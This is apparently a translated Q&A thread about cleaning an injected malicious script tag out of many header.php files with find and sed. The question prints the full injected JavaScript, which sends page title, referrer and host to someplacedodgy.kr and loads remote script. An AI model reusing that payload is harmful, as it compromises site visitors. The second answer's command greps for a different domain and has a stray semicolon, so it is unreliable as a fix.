悪意のあるスクリプトタグを含むheader.phpファイルがたくさんあります(尋ねないでください)。空白に置き換えるために、あまりエレガントなシェルスクリプトを作成しました。最初はheader.phpでペイロードを取り除こうとしましたが、ファイルがソートされたリストではないため、不可能に見えました。以下は私のコードです。
echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'
問題は、このコードがエラー:sed: -e expression #1, char 578: unterminated
s'command`のために実行されないことです。私の仮説は、この問題を引き起こすエスケープされていない文字があるということです。 <>と{}の両方をエスケープしてみましたが、役に立たないようです(上記の<>はまだエスケープされています)。
文字列を含むファイルをsedに入力する方法がある場合は、sed -i 's/$payload/ /g'
まだ把握していないようです。
答え1
答えが示すように、ペイロード自体が1行にある場合は、変更されたファイルのバックアップを作成しながら、次のことが行われます。
find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls
"someplacedodgy"文字列がペイロードラインに対して一意であることを確認してください。
バックアップをスキップするには、-i.bakから.bakを省略してください。
答え2
文字列自体が1行に含まれているので、この問題に対するより簡単な解決策を見つけました。
while read HEADER
do cat $HEADER | grep -vw "somewheredodgy.kr/js/jquery.min.php"; > modifiedheader
cp modifiedheader $HEADER
done < tempheader